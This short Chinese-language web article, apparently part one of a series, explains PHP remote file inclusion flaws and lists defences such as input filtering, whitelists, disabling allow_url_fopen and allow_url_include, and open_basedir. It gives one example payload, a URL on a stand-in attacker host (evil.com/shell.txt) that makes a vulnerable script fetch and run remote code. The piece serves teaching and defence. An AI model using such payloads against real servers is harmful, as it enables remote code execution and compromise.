萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

PHP 遠程文件包含漏洞攻擊實戰(上)

功能豐富與風險並存

PHP 提供大量檔案處理函數,編程便利卻也埋下隱患。以 fopen("$filename", "r") 為例,若 $filename 可被用戶控制,不僅能遍歷本地任意檔案,更可利用 PHP 透明支援遠程協議(HTTP、FTP)讀取外部資源,構成遠程文件包含(RFI)漏洞。

攻擊向量示例

攻擊者可提交 https://evil.com/shell.txt 作為 $filename,導致腳本包含並執行遠程惡意代碼。若配合 allow_url_fopen=On(預設開啟),威力倍增。實戰中常見於模板引擎、插件系統、動態包含頁面等場景。

防禦核心原則

  • 嚴格過濾驗證用戶輸入,拒絕絕對路徑、URL 協議、.. 目錄遍歷字元。
  • 使用白名單機制限制可包含檔案範圍。
  • 關閉 allow_url_fopen 與 allow_url_include(PHP 5.2+)。
  • 採用 open_basedir 限制腳本訪問目錄樹。
  • 部署 WAF 規則攔截可疑包含請求。

下篇將深入探討本地文件包含(LFI)、會話劫持、SQL 注入等 PHP 常見漏洞攻防實戰。

copyright © 萬盛學電腦網 all rights reserved